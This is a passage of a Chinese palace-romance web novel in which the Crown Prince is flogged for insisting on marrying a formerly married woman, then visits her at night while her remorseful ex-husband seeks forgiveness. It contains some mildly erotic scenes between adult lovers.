这是他费心养出的太子,现在和他离了心,但大抵从那件事之后就定了如今情景,可他依旧不后悔,他和尚家、江山都需要一个合格的继承人。 也只能有一个继承人。 尚珏轻淡地收了手,站直了身,目光落在平德帝显出苍老的脸上,轻轻弯了唇角,未置一词。 某种默契无声漫开。 平德帝揉了揉额角:“你不可能一直不成婚,你无需用这种方式报复皇后。” “父皇多虑了,儿臣敬重皇后,何谈报复。”尚珏道,“何况,儿臣并未说不成婚。” 平德帝眉间微动:“原来是为了这事,怎么,太子担心朕不答应你和那姑娘?” 尚珏淡笑,没说是也没说不是。 平德帝:“只要是好人家的姑娘,朕没有不答应的道理,抬个侧妃罢了,你喜欢就好。” “儿臣只要她做太子妃。” 平德帝闻言沉默。 正妃家族势力,有时可以轻而易举更改夺嫡格局,这也是当初皇后和丽妃费尽心思要让沈玉姝嫁给尚琢的缘故—— 一个桃李满天下的沈家,当时不知给尚琢得了多少人心。 所以平德帝最初为了给尚珏铺路,太子妃人选最先考虑的就是沈玉姝,只可惜被截了胡。 想到这他便隐发怒意,他向来讨厌女人自作主张,何况是自以为是地算计他。 良久平德帝才一摆手:“此事再议。” “父皇。”尚珏抬起眼,“儿臣只会娶她。” 二人毫不退却的交谈,使得气氛静默的滴水,平德帝那张褶出皱纹显得威严的脸上出现某种不显的怒意。 他半晌嗤笑一声:“原来朕的太子,近日是在和朕示威。” 尚珏拱手歉道:“父皇言重,儿臣并无此意,不过是近日繁忙未曾顾及罢了。” “罢了,你先说那人是个什么身份。” 若是官宦之女,无非就是费点心思扶持,若是商贾之女…… “身份?”尚珏似是古怪地挑了一下眉,“……有夫之妇?” 若是平民商贾…… 平德帝思绪未落,听见尚珏回话,有一瞬间怀疑自己年老耳背听错了,不可思议道:“什么?” “有夫之妇。” “混账!!” 平德帝怒吼一声,拍案而起,“你说的当真?!” 尚珏轻一拱手:“字字真言。” “闭嘴!”平德帝到底年纪上来,一口气没上来堪堪扶住龙椅道,“你乃一国太子,居然喜欢一个有夫之妇,还想娶她为妻,你让皇家的脸往哪搁,这个太子你还做不做了!” 他后半句话是“不做就滚下去换别人做”,但他对上尚珏淡淡的眼神,忽然一止—— 皇家年纪合适的只有三个皇子,大皇子尚琰身残,不可能继承大统,一向是恭王尚琢隐隐有一碰之力。 但近日刑部一事已经证实了,尚琢完全没有驭下之力,还有谁能坐尚珏这个位置? 况且尚珏的政绩摆在那,平德帝并非昏庸,甚至称得上明君,自然不可能肆意妄为。 想到这,平德帝偏眼对上尚珏平静的神色,终于意识到尚珏近日所为目的。 一干大臣对近日刑部停摆一事,虽有太子玩忽职守的怨言,但更多是对恭王尚琢的不满,前有宠妾灭妻家风不正,如今审讯几个犯人都拿不准主意,哪还有多余的人心。 他深吸一口气,冷笑:“好样的,朕的太子原来算计了朕一通,真不愧是朕的太子——你当真不悔改?” “不。” “好。”平德帝道,“来人!” 两个身披银铠的侍卫推门而入:“陛下!” “太子尚珏以下犯上,笞五十鞭,带进刑房等候差令!” 在场侍卫、刘全、陈肆皆是一震,惊恐地看向光风霁月站在殿中的太子殿下。 末了,只见太子细细解下腰间青玉搁在地上,膝盖一弯,挺直着窄腰长身而跪,声音平静:“儿臣领旨。” …… 尚珏三言两语将事情概括了,却把沈玉姝听得有些心紧。 她蹙着眉问:“为什么……你这么确定陛下只会……” 为什么你这么确定陛下只会立你为太子。 沈玉姝说的笼统,尚珏却是听的明白,他莞尔:“太宗还是太子的时候,因为太祖驾崩突然,遗诏存疑,加之几个弟弟手段高明,九死一生才继了位,从那之后皇帝就只会培养一个皇子,避免兄弟相残的事情发生,毕竟没有大臣会扶持一个酒囊饭袋。” 沈玉姝有些迷惑:“可是怎么保证培养的人是有用之人呢?” 尚珏莞尔一笑:“知道养蛊吗?哪有养出一只只会吃饭的虫子的道理。” 他语焉不详地说着,可沈玉姝无端想起早去的德妃。 德妃家室强大,却在尚珏三岁时骤然离世,外界所传是病逝,与这件事……会有关系吗? 她轻轻摇了摇头,不再多想,好一会才将头从尚珏怀里挖出来,瓮声瓮气地警告:“好了不准说了……快休息吧,说那么久该累了……” 尚珏闻言神色却是有些怪异,随即一挑眉笑出声,揽在她腰间的手上移停在脖颈处,手腕一用力,便捧着沈玉姝的后脑迫使她抬头看着自己,不给她避开的机会。 尚珏神色淡淡的,似笑非笑:“夫人答应我说完就给我答案,现在这是想赖账?” 刻意避开的事陡然被提起,还责她耍赖,沈玉姝脑袋都要冒烟了。 她刚才听了尚珏三言两语说的御书房那些事,跟说情话似的,一心疼他冒进,二心慌他为了自己和平德帝顶撞,哪里还有说答案的勇气,现在只想跑到芳菲殿先躲两天再说,哪里还好意思再和尚珏说这些。 但尚珏却不给她这个机会,非拦着她,要给个说法不成。 沈玉姝无奈,耳朵红着脸红着,眼睛不知是哭红的还是羞红的,像一只熟透的虾般,小声告饶:“我们……伤好再说行不行?但……你要是伤更严重了……我就不理你了。” 这话和确定没了大区别,尚珏那颗悬着的心这才轰然落地,脸上强装出的无所谓顷刻间四散零落,长臂一展一把将人死死扣住压在肩颈,沉沉呼了口气:“没白受一番苦,有夫人这句话,再死一回都够。” 沈玉姝一咬牙,恼他轻浮,兔子一样从他怀里溜出去,站在床边大喊:“陈肆!” “砰”,门倏然一开,吃里扒外的陈肆面色冷静站在门口,沉声:“沈小姐有什么吩咐。” “……好好照顾你们殿下,我走了。”沈玉姝咬着牙匆匆说完,快步跑出了殿,带着雪青一溜烟没了影,只剩下陈肆和尚珏无声对视。 陈肆:“……” “属下觉得,殿下应该不会因为属下稍微听从沈小姐的话,而怪罪属下,对吧……”他试探道。 尚珏怀中独属于沈玉姝的味道还没散,存在他的指缝衣襟,零落钻进鼻腔。 他眼睛一闭:“给孤滚出去。”【魔蝎小说 mo xie xs .c om】 70-80 第71章 第71章和离礼 沈玉姝原以为,尚珏会休息或者被冷待一月有余,但事实上,不过三天,尚珏便重新上了朝,沈玉姝也因为以云春季小考的缘故忙了起来,两人近七日未见。 但无端的,沈玉姝倒也不觉想念。 并非是不想,而是知道相互在挂念,所以也没觉得真的有八十多个时辰没见,反倒像倒了的蜜罐,闻着味,甜又不腻人,足够勾着人一直站那停着看着嗅着。 独一的,沈玉姝不知道尚珏伤怎么样了,只隐约听说前朝震动,料想尚珏定然不曾好好休息。 思索及此,沈玉姝搁下手中诗经,有些愁意地问身侧雪青:“……你知不知道尚珏的伤怎么样了?” 窗外的绿萼梅早谢了,被尚珏前几日派来的人换栽成了桃花,在这个三月末四月初的日子开得灼眼。 沈玉姝先前还打趣:一个花期一种花,土都该坏了。 现在看着这新生的桃花,只心觉更担心那个种花人了。 雪青说:“这个……陈大人没说,只说前朝动荡得很,恭王告了假,想来过些日子就该结束了,殿下也就得空了。” 沈玉姝闻言皱着眉想:哪有刚和姑娘表明心意,就不见人影的。 坏胚子。 沈玉姝暗骂一声咬着后牙,愤恨地踹了凳腿一脚,袖子一甩站起身便往殿外走。 雪青一愣,忙追:“小姐咱们去哪?今日不是已经下学了吗?” 沈玉姝脚步不停,抱臂冷哼:“东宫。” 雪青:? 芳菲殿的位置很巧,离东宫不近,但却有一条极隐蔽的路,直直通往东宫偏门。 沈玉姝本想从那走,却不料一出门,跨槛就撞见那个在陈肆口中“告假”的恭王尚琢。 她怔住,不知尚琢为何又忽然造访,她自觉上次与尚琢已然说的足够明白。 就在她怔住的这么一会功夫,尚琢已经走上前来,他的神色似乎有些怪异的落寞,良久才忽然开口:“抱歉,骤然叨扰。” 这个时候沈玉姝才总算将注意力放在尚琢身上,他整个人都透露着一种萎靡,往常冷硬的声线也透出几分哑意。 更何况是这么一个,堪称彬彬有礼的开场白。 沈玉姝不解其意,秀气的眉头微微皱起,身后赶出来的雪青步子一顿,止在殿内。 “我听闻太子殿下为了心上人和父皇顶撞,受了刑。”尚琢沉默半晌,开了口,“我以前不明白什么是喜欢、什么是感情,自作主张地给你添了许多麻烦……但索性,太子殿下的事让我知晓什么是喜欢。” 尚琢说到这,漂浮的声线稳定下来,直直看着沈玉姝:“我本来没想现在来找你,但你正巧出来,我斗胆猜想是缘分使然——你肯给我一个弥补你的机会吗?” 他说的有些快,像是担心再迟疑半刻就被自己胆小地吞咽下去一样,紧跟着说:“我知道我以前自大自我,但……” 沈玉姝忽的抬手,做了个中止的手势:“恭王殿下,我不需要。” 她说着生出了怒意,尚琢怎么敢,拿尚珏的事和他自己相提并论,平白玷污了旁人的心意。 “我以前确实对你自我的脾气生出过怨怼。” 尚琢眼睛微亮,像是嗅到了某种希望。 “但是现在不会了,你生在皇家,母妃疼爱,这种脾性是必然的,只是我们不合适,你大可找到一个愿意包容你的人,比如何之纯……” “我和她真的没什么!” “那不重要。”沈玉姝说,“我们没有机会,我也不会和你再有什么牵扯,也许你只是占有欲作祟,或者别的什么,但尚琢——” “我不可能当那些事没发生过,我对你也不可能有别的心意。” 尚琢落寞的神色被灰败替代,他哑然:“你在怨我,是在怨我伤了你的婢女吗?” “难道那些事是假的吗?”沈玉姝平静反问,“有时候我真的不知道你为什么一而再再而三地找我,我们彼此都应该开始新的生活。” “可是你来了皇宫!”尚琢低喝,“如果你真的对我没有感觉,厌恶我到极致,你怎么会答应来皇宫给以云授课!你分明知道在皇宫里,都是我的血亲!你如果真的讨厌我,怎么会肯看着他们!” 沈玉姝愣住。 她表情堪称古怪了,欲说不说,烟拢秀气的眉皱起又松开,好一会才说:“……不管怎么说,这个事,我是受别人之托,与你没有关系。” “谁。”尚琢咬牙,“你那个……”他大概又想说姘头,但硬生生咽了下去,“那个新欢吗,他怎么敢把你往我面前送?” 沈玉姝心说那个新欢真不是想把我往你面前送。 但这话显然不能跟尚琢说,左右都是死路,她似是有些无奈了,“恭王殿下,我该说的都说了,希望您不要再来一次一次找我了,您与何小姐成婚那日,我定然好生备礼,祝你们大婚之喜好吗。” “不可能。”这种赶人似的回答让尚琢几乎咬牙切齿,他从齿间挤出一行字,“伤你婢女的事,我自会补偿——你别想甩了我。” 尚琢说到最后,最开始佯装的礼数尽散,露出他本质的攻击性出来,随即深深看了沈玉姝一眼,拂袖离去。 沈玉姝:“……” 这下想去东宫看尚珏的兴致散的一干二净,沈玉姝一言难尽地抿了下唇,索性转身回了芳菲殿去睡觉。 / 沈玉姝说睡是真的睡,打发了雪青之后就更衣上了床,卷起被子蒙进去,一觉从傍晚睡到深夜,直到一阵短促的铃铛声响起,她才骤然从梦中惊醒。 昏暗的殿内,隐约看见一个肩宽腰窄,身形颀长的男人。 她迷迷糊糊地“唔”了声:“尚珏,你怎么来啦。” 男人似是笑了声,在她身边坐下:“怎么知道是我?” 沈玉姝眼皮酸涩,干脆闭上眼有一搭没一搭地回话:“还有谁有那么大胆,在陈肆盯着下翻进芳菲殿呀。” “夫人真聪明。”尚珏眉眼一弯,侧身躺下,长臂一展将沈玉姝揽进怀中:“那夫人不然猜猜,我今日为何来?” 那截手臂不算粗壮,但肌肉极密,压在沈玉姝细腻柔软的皮肤上有些疼,还带着一段灼热的温度。 身后的男人丝毫没有避讳的意思,卡在腰间的手越发往上,摸到鼓囊的胸口,语气有些上扬:“夫人怎么几月没摸着,似乎又大了些?” 沈玉姝睡意散了七八,她咬着唇,黑夜里的耳根红的滴血。 我朝以纤细为美,过分丰满难免显得风尘,以往她都束胸束着,后来不束了,不想居然还长大了。 沈玉姝有些迟疑:“……不好看吗?” “好看,好看的要了我的命。”尚珏轻笑一声,将人搂的更紧,“只是你最近都没怎么吃饭,怎么还长了?我寻个太医给你瞧瞧身子?” “不要。”沈玉姝挣扎着不肯理他,想翻身坐上去看他的伤口,却被尚珏扣着手腕,反手压在床榻上。 “我看一下伤口!”沈玉姝用气音带着恼意凶他。 尚珏笑着亲了一口沈玉姝的指尖:“早就没事了,倒是你,怎么这么忌讳就医?” “……哪里有。”沈玉姝抿了一下唇,发现挣扎不脱尚珏的禁锢后索性随他了,只问,“你的伤口才七天,怎么会好那么快?” “用了行军的疮药,恢复的快 一些,结痂很快。“尚珏说着把她扶起来揽在怀里坐着,从袖中拿出一方木盒,叮铃铃带出一串响声,“礼物。” 沈玉姝表情有一瞬间空白。 虽是深夜昏暗,但两人隔得极近,几乎要贴上鼻尖,能将对方的轮廓看出大概。 所以轻而易举的,尚珏看见沈玉姝微张的唇,他喉结一滚又一滚,俯身凑上去亲了一口,“看看?” 沈玉姝接过木盒,打开卡扣掀开,一对南珠坠安静躺在里面。 南珠坠的“针钩”前后是用软垫垫着的,摁着针钩尾一摁,就能将坠子卡住,但这不是耳夹的形式,因为两个软垫会在南珠的重量下轻易滑坠。 沈玉姝忽然想起来,尚珏之前是送过这样式的坠子的,是她和尚琢的和离礼,她一直没想明白用途,后来在和尚珏分手那次还了回去。 没成想兜兜转转又到了她手里。 不过这回她先问了:“这到底做什么用的?我用它夹过耳垂,夹不住。” 沈玉姝声音脆生生的,仰着脸专注看着尚珏,好像眼前只能装下他一人一样。 尚珏向来抵挡不了沈玉姝撒娇,何况是用这种眼神看着他。 他眸色微暗,没先回答,而是一伸手,大掌扣住沈玉姝的下颌,咬着她的唇接了个绵长的吻,勾着她的舌头咬着吮着,直到发现她的呼吸都快停了才松开。 尚珏厮磨着沈玉姝的唇,哑声一笑:“怎么这么久了,夫人还不会换气?” 沈玉姝调整着呼吸,愤愤反唇相讥:“都怪你,都教不会我。” 尚珏挑眉,将她的小脾气尽数吸纳:“嗯,怪我。” 他说着,带着沈玉姝的手将木盒里的南珠坠拿出来,“夫人不是想知道这对坠子有什么用吗?我教夫人好不好?” “嗯……” 沈玉姝起了个话头,还没来得及说话,她的肩头忽然一凉,早在接吻时就松散的寝衣被猛地扯下去,露出半边上身,和云水蓝的肚|兜。 “夫人,你看。”尚珏声线温和,带着些磁性的诱哄。 他哄着沈玉姝低头,在她的视线里,一手带着南珠坠,一手隔着肚|兜捧着沈玉姝的一边胸口。 “咔哒” 南珠坠稳稳当当地卡在胸口,软垫极好的释放夹子的力道,让沈玉姝感受不到丝毫痛感。 尚珏轻笑:“夫人的和离礼,喜欢吗?” “现在夫人可以告诉我,今天下午,夫人在和您的前夫聊什么了吗?” 第72章 第72章牙印 沈玉姝低“嘶”了声,有些怨怼地说:“感觉你好像每次想‘惩罚’我的时候,就用这对南珠坠。” 南珠坠巧思的垫料夹在胸口,散发出一种异样的麻痒,让沈玉姝整个人都不太撑出力气,上半身瘫倒在了尚珏怀里,软的像半化的冰。 尚珏揽着沈玉姝的肩膀,将人往上带了带,闻言不置可否地挑了一下眉:“明明是礼物。” “你难道不是来找我茬的吗?”沈玉姝嘟囔一声,倒也没有生气的意思,还有心思地垂眼玩了一下胸口的南珠坠。 平心而论,除了用处敏感而产生的情|色感,这对坠子当真是好看极了,典雅的奢华精致,各方面都戳中了沈玉姝的审美点。 “嗯,好吧我承认。”尚珏弯着眼,慢条斯理给沈玉姝另一边胸口也扣上南珠坠,“那夫人要怎么解释,来哄哄孤?” 两人在黑夜里无声对视。 好一会听沈玉姝说,“分明是你七天没见着人影,一出现就对我兴师问罪。”沈玉姝拿脑袋撞了一下尚珏的肩膀,“而且这事和我可真的没有关系,分明是你让人家误会了。” 这种小动作是以前的沈玉姝对尚珏不会有的,过分亲昵,还带着一点不自知的依赖。 尚珏看在眼里,无声呼了口气,将人搂的更紧。 费那么多心思,总算让沈玉姝把他与情人或者太子区分开,多了恋人的旖旎。 这是他第一次看见沈玉姝另一种鲜活的一面,喜欢的要命。 尚珏不知道,怎么会有一个人连头发丝都好像和别人生的不一样,勾得他心痒。 他面上一往如常,只有嗓音细微发哑,若是不仔细看他搂在沈玉姝手臂上,更内扣的手腕,几乎瞧不出异样的端倪。 他含着一点笑意问:“哦?怎么怪孤?” 沈玉姝调整了一下在他怀里的姿势,三言两语把今天下午的事说了。 “都怪你让我进宫。”沈玉姝最后总结道。 尚珏眉头似挑似皱,好一会不知道说什么,索性抬手覆住沈玉姝的眼睛,另一只手向下拨弄她胸口南珠坠,分开她的注意:“嗯,怪我,那不提他了。” “唔……你犯规。”沈玉姝一下就知道尚珏是逃避自己出错的问题,愤愤不满,而后上身在黑夜里凭着习惯倾下,毫不留情地张口在尚珏的肩膀处重重咬下,但动作的偏差,这口咬痕偏落在脖颈处。 她的唇瓣清晰感受到尚珏有力跳动的脉搏。 细微的痛感在脖颈漫开,尚珏漫不经心地笑了声,抬手轻轻拨弄一下沈玉姝的犬齿,哑声道:“牙这么利呢。” “那明明是你不让我睡觉还找我茬。”沈玉姝说,“你该。” 尚珏那点轻挑被随来低低的笑声打的七零八落,他埋在沈玉姝的发间,叹谓一声:“夫人怎么这么可爱。” 沈玉姝耳根红了一片。 ***** 恭王府。 竹园里的竹子早被砍了干净,换上新栽的梅花树,但过了时节,显得过分萧瑟。 尚琢坐在院内亭下,身边搁着零落的酒瓶,浑身透着浓浓的酒意。 苏进站在一边,神色焦急上去劝:“王爷您别喝了,注意着身子。” 尚琢不知听没听见,视线虚虚不知落在何处。 良久才听他哑到极致的声音响起:“苏进,如果当初本王没有陪何之纯游湖,事情会不会不一样。” 这话问的没头没尾,苏进嗫嚅一声,不知如何作答。 好在尚琢也没想得到一个答案,自己说完就哂笑了声:“罢了,把那湖填了吧,一个人工湖,也没什么看头。” 他说着将酒瓶一掷,摇摇晃晃地站起身,一把拂开苏进伸来搀扶的手,独自往外走去。 走了没几步,他忽的一顿,“本王当时怎么罚沈玉姝那婢女的来着?” 苏进快速道:“打了三十板子。” 尚琢点头,在这凉得出水的夜色中跌跌撞撞地往主院方向走。 苏进正要跟过去,就听尚琢醉醺醺的声音传来:“去把当初打那婢女的侍卫找来。” 苏进心中一跳,以为王爷要翻旧账,下意识小心翼翼问:“夜深露重,不知王爷……?” “让他怎么打那婢女的,就怎么往本王身上打。” 夜色里,尚琢一双琥珀色的瞳孔沉的可怕,像一个徒劳迷路的旅人,捡到最后一点妄想。 苏进险些跪下:“王爷!这不可啊!您……” “如果本王不这么做,沈玉姝恐怕永远也不会正眼看本王一眼。”尚琢哑声轻笑,这个表情让他冷硬的五官在月色下显得有些可怜,他轻轻瞥了苏进一眼,“去吧,本王不罚你们。” 话音落下,他轻轻吐出一口气,像是卸掉某种无形的重压。 “是……”苏进应声,转身去了侍卫偏房。 ***** 翌日,清晨。 沈玉姝在一片滚烫的温度里醒来,她呆了一会才反应过来,是尚珏还没走。 说起来他们有三个月没有共枕,鼻尖的温度让沈玉姝几乎 眼酸。 外面天色已经不早了,沈玉姝伸出手指,戳了戳尚珏手感硬实的胸口。 没反应。 又戳了戳。 没反应。 沈玉姝眉头微蹙,又抬起手打算再用力一点,但还没戳下去,手腕忽地被一只有力的大掌捏住。 她一愣,被抓包的事让她耳根立刻就红了。 随即沈玉姝听见尚珏似笑非笑的声音从她头顶传来,“夫人好兴致,就这么喜欢我。” “……谁喜欢你。” “不喜欢我,你一起来就往我身上戳?”尚珏声音意外,“难道夫人对别人也会这样吗?” “……” “”的一声,沈玉姝一头撞进尚珏的怀里,手动让他闭了嘴。 尚珏脸上笑意更深,漆黑的瞳孔里几乎折出光。 “不许说了。”沈玉姝恶狠狠地撂下一句话,兔子似的从他臂弯里离开,拿起衣服去屏风后更衣。 随即听见屏风外传来的一阵低而闷的笑声。 沈玉姝耳朵一红,扬声:“我还没准你说话!” 屏风外的人从善如流闭了嘴。 等两人收拾好出去时,雪青正好摆好了晚膳,和本不该出现在这的太子殿下撞了个正着,视线凝在太子殿下裸露出的脖颈皮肤上。 她一时结舌。 她昨夜一直在门口守夜,确定没有别人进来过,那太子殿下就只能…… 是翻窗了。 雪青神色有一点古怪,似乎想说点什么,但在对上尚珏那双似笑非笑的眼睛时立刻闭上了嘴,行过礼出去了。 沈玉姝没注意到他们的暗潮涌动,兀自坐到桌边,久不见尚珏过来,才疑惑地抬起眼:“你怎么还不过来呀?” 尚珏收回视线,唇角一弯,“来了。” 一顿早膳都是些素极的菜色,合着沈玉姝的口味。 尚珏陪着她吃了会,见沈玉姝不再吃了,才开口问,“还是没吃东西的胃口?” 他还记得先前在不言寺,沈玉姝闻见荤腥就恶心的事。 沈玉姝喝了口水,嗯了声。 尚珏若有所思地点点头,不知想到了什么,忽然问:“怎么一直没看太医?” 沈玉姝苦着脸:“不要。” 尚珏失笑,他总被沈玉姝某些小习惯戳中,喜欢得紧,本要再说什么,殿门忽然被敲响。 随后,雪青不似往常的有些紧张的声音在门外响起:“小姐……殿、殿下,那个……恭王殿下来了。” 二人停顿。 尚琢来不是新鲜事,雪青在紧张什么? 沈玉姝无端想起昨日尚琢的话: “伤你婢女的事,我自会补偿——你别想甩了我。” 她心中一跳。 尚珏递给她一个安抚的眼神:“别担心,我去。” “这么早,你在芳菲殿算怎么个事!”沈玉姝下意识地拉住他的手,快速道。 而后撞见尚珏微眯的眸子,喉口一涩,小声说:“你知道我不是那个意思……” “夫人也该知道,我不喜欢他碰你、和你说话。”尚珏声音四平八稳,话落轻轻一笑,“别担心,我不走正门。” 沈玉姝一怔,这一顿,就让尚珏已经走出去六七步。 只听他撂下一句:“不许出来。” 沈玉姝倒了嗓,瓮声瓮气地哦了声。 倒也不觉得生气。 / 尚珏拉开门出去,挥退了要跟上来的雪青和陈肆,绕了游廊一圈,从小路走出去,这才不紧不慢地、像是路过一般,顺脚走进来。 他一眼就看见立在院内的尚琢。 尚琢的身形不自然的歪倒着,像是承受着某种极大痛苦似的,肩膀一边塌着,一边不自然地绷紧。 尚珏视线一滑而过,语气往常地开了口:“三弟怎么这个时候在芳菲殿?” 仔细听的话,还能听出他语气里怪异的餍足。 尚琢眉头一皱,下意识回头。 又听尚珏含笑道:“时辰有些早,沈娘子怕是还未醒,三弟这个时辰在这,未免有些不合礼数。” “省的又像去年宫宴似的,误了姑娘名声。” 尚琢错愕,随即追问:“你知道什么?” 那事他追查许久才有一星半点眉目,虽没查出是谁,但沈玉姝确切是无辜的。 如果从一旁看去,他们两人的样子其实是有些滑稽的,尚琢一脸病容,期许地看着面前那个光风霁月的男人。 尚珏似笑非笑地弯了一下唇,嘴唇似乎动了动,但尚琢没有看清楚那究竟是什么。 忽的,尚琢瞳孔猛的一缩,落在尚珏衣襟未曾包裹严实,而露出的一小块清晰、新鲜的牙印。 甚至还泛着薄薄的红。 第73章 第73章“偷欢” 沈玉姝倚在窗台上,撩起一边帘细细听着从院子里传来的细微动静。 尚琢不算大声的问话,几乎止住了风,让沈玉姝下意识屏住了呼吸。 下一瞬,她听见尚珏敛笑轻小的声音说:“孤只是比你更了解你的前王妃而已。” 沈玉姝心口像是被一朵花撩了一下,发出一阵颤音。 从窗隙远远看去,尚珏肤色在晨间的阳光下无限趋近白玉的色感,鼻梁挺直勾出下颌面的棱角,几乎少了人气。 沈玉姝忽然想起第一次和尚珏发生关系的第二天,她躺在浴桶里骂尚珏斯文败类的事。 许久过去,果然证明他确实是个斯文败类。 “了解?”尚琢冷笑一声,因为背对着,沈玉姝看不见尚琢的表情,只听他说,“太子殿下与沈玉姝说过几句话,称得上一句了解?” 院中的尚珏视线从芳菲殿细微摇晃的支摘窗上划过,好看的眼睛不着痕迹地弯了弯,然后才慢条斯理地将视线重新放在自己这个,脑子疑似被皇后和丽妃两个愚蠢妇人养坏了的皇弟身上。 尚珏狐疑地想:尚琢是不是烧坏过脑子。 但作为长辈,尚珏并没有和尚琢争辩的意思。 他只平静地看着尚琢发泄的神色。 “都说了解,谁都跟我说她好!那你们当初为什么不告诉我!”尚琢狠狠把凌乱的头发往后抓了一把,抬眼又对上尚珏冷静出奇的瞳孔,他不可抑制地上前一步拽住尚珏的衣襟,“你为什么永远是这个样子!你冷静你克制,衬托我像一个无理取闹的孩童!从重华宫时候为什么你就是这副模样!” “那我们光风霁月的太子殿下,你告诉我,为什么当初没人告诉我她好、她无辜,那事根本不是她的错!” 尚珏抬手挥退作势要上前的侍卫,垂着眼,一根一根扒开尚琢拽着他衣襟的手指,甩到一边:“没人告诉你?” 他冷笑:“据孤所知,丽妃因为你的事,摔砸宫殿修用的银两足足两千——尚琢,你和以云是一个年纪的?” 四下空寂,尚琢哑声。 尚珏倦怠地移开眼,他烦心和沈玉姝难得的一个厮磨早晨被尚琢破坏了干净,可到底他是他兄长,不至于再多和小辈置喙,只有些厌烦地一招手:“来人,送恭王回府,让苏进来接人。” 侍卫:“是。” “本王不走……”尚琢一把甩开侍卫的手,声音小而执拗:“谁敢碰本王试试!” 尚珏眯了眯眼,走上前一把拽住尚琢的手腕反手擒住,呵斥:“你看看你自己,和只会哭闹讨糖吃的顽童有什么区别,有一点合身份的样子吗!” 尚琢后背的伤口齐齐崩裂开,漫出刺鼻的血腥味。 他一声不吭地咬着牙,双眼赤红:“本王不走,本王要见沈玉姝。” “嘎吱——” 那扇紧闭的殿门终于被打开,顿时吸引了两人的注意力。 尚珏眉头一皱想放开手,又怕尚琢冲上去,只得不咸不淡地拽着,面色不太好看地看着沈玉姝:不是说不准你出来吗。 沈玉姝立在廊下,咬着唇:闹成这样,我怎么作壁上观。 尚珏神色晦暗收回视线,用眼神示意陈肆来按住尚琢,随即收了手站到一边。 这个姿势不可避免地会按到尚琢的伤口,他玄黑的大氅上顷刻间透出深浅不一的痕迹。 尚琢闷哼一声,哑声道:“松开。” 陈肆纠结地看向尚珏。 “松开吧。”沈玉姝说。 陈肆了然,利落地松了手。 尚珏:“……” “恭王殿下,臣女昨日说的不够清楚吗?”沈玉姝眉头紧皱,下半句的话音还未起就被打断了干净。 “很清楚,我也说了我会补偿你,你别想甩开我。”尚琢面白如纸,几乎是从牙缝里挤出的话,然后他似乎这一顿来回已经耗费了他所有精力,最后一个字音落下,直挺挺的就要栽倒在地,被陈肆眼疾手快地捞住了。 这突如其来的情况让几人面面相觑,一时拿不定主意,最后还是尚珏这半个长辈开了口,让侍卫将人带到偏殿去,再请个太医。 等人都各自散了,沈玉姝这才靠在偏殿门外松了口气,她哪里 想到尚琢会直接在这晕过去,若是传到平德帝耳边,她定少不了一番询问。 而后一转头,对上尚珏那双秋后算账、似笑非笑的眼睛。 沈玉姝难得有些心虚。 她是属于一心虚就小动作特别多的人,以往总被温慧笑,说别人还没发现什么,你自己就先暴露了—— 她圆润的指甲一点一点扣着廊桥倚柱,清漆被她挠掉了一层。 沈玉姝没话找话:“……你怎么不在里面看着他。” “我夫人在这,做什么看那蠢东西?”尚珏反问。 沈玉姝脸红了透彻:“……你说脏话。” “嗯,你去和陛下告状吧。”尚珏好脾气地说着,一把拽住沈玉姝的手腕,手肘一用力,将她拉进怀里。 这是一个三面通透的空间,甚至一门之隔就是昏睡过去的尚琢。 沈玉姝被突然抱个难怪,腮被他肩膀颈窝托着,愣怔的,过了好一会,才极轻地回抱过去,小声说:“那……就抱一会。” 尚珏愣了一下,心里软的一塌糊涂,哪里还有算账的记忆。 / 尚琢不过是失血加脱力才一时晕了过去,太医把过脉扎了几根针,又拽着太子殿下左右嘱咐一长串,听得尚珏有些不耐。 他委婉道:“大人跟恭王府的苏公公说就好。” 太医一怔,随即连声应是,收拾药箱出去了。 沈玉姝坐在外间,百无聊赖地扯着一根伸进来的桃花枝丫玩,不过一炷香的时间,就听见尚珏微凉的声音:“醒了?” 沈玉姝屏息,蹑手蹑脚凑到内外殿隔间的平开门上,拉开一条缝往里面看。 床上尚琢摁了摁炸疼的太阳穴,一时还没反应过来情况,手里就被扔了一个冰凉的瓷瓶。 尚珏神色淡淡:“军中金疮药,好的快一些。” “我不需……” “父皇知道你因为什么受伤,只会责怪沈玉姝。”尚珏淡声,垂着眼似乎想知道他这颗简单的脑子是怎么想的,“孤和你说过吧,不要给别人添麻烦。” “这是臣弟的家事。”尚琢手指紧紧攥着那瓶白瓷瓶,咬牙道。 尚珏眼睛微眯。 平开门呼啦一声被打开,沈玉姝脆生的声线从门口传来:“今日劳烦太子殿下了,辛苦您操心,剩下的事就交给臣女吧。” 这个时候又是太子殿下了。 尚珏不虞转身,却对上沈玉姝带着点求饶撒娇的水灵灵的鹿眼。 如果现在屋里没有尚琢这个人的话,沈玉姝的手应该是拽着尚珏的衣袖,一甩一甩求个恩典。 尚珏想到这,沉沉呼出一口不太愉快的气,良久才轻微一颔首:“好。” 闻言,沈玉姝借着他身形遮挡,轻巧地冲尚珏一眨眼,随后侧开身让他出去了。 擦肩而过时,沈玉姝用气音笑着说:“二哥哥别担心呀。” 这个久违的称呼让尚珏身上顷刻一热,却不待他做什么,那扇平开门“唰”地关上了。 小没良心的。 尚珏失笑。 他坐在外间,毫不费力地将内间一字一句听得清楚。 沈玉姝操着和平时与他相处时全然不同、偏硬质化的声音说:“殿下身子弱无事……” “等等。”砰砰两声碰撞,尚琢挣扎坐起身急切道,“你听我说完。” 沈玉姝没做声,耐着性子等他的下文。 “惩罚你婢女的事,是我考虑不周,我找了最好的太医去宁王府给她看病。”尚琢手指落在衣襟上似乎想脱,但可能碍于某些原因纠结一会,只将玄黑大氅褪下,露出下面红白交错的中衣。 血腥味顷刻间蔓延。 “那三十棍我还了,你能原谅我吗?”尚琢说。 他的五官如果细看,其实和尚珏一点都不一样,他的眼尾平直,不论什么时候看人,都透出一种不屑感。 但沈玉姝知道,那不只是五官造成的,是尚琢本人,对其他任何事物或人都瞧不起。 沈玉姝视线从尚琢肩膀收回,有礼数地放在他的鼻尖,平静的问:“是苏进告诉你的吧。” “什么……?” “是苏进告诉你,你打了秋兰三十棍吧。”沈玉姝毫不意外看见尚琢的错愕,她说,“你看,对你来说惩罚一个下人就是随口一句话的事,君恩是恩,君罚也是恩,但你完全没想过你的随口一句话,对别人会有什么样的影响。” 沈玉姝说:“你和我是两个思考方式全然不同的人,这样的人怎么在一起?” “我可以……” “你可以改?”沈玉姝接住他的话,“没有必要,尚琢。我不想十年二十年之后,你今天心血来潮的感情没了之后,你责怪是因为我,磋磨你原本的性子和百般情|趣。” 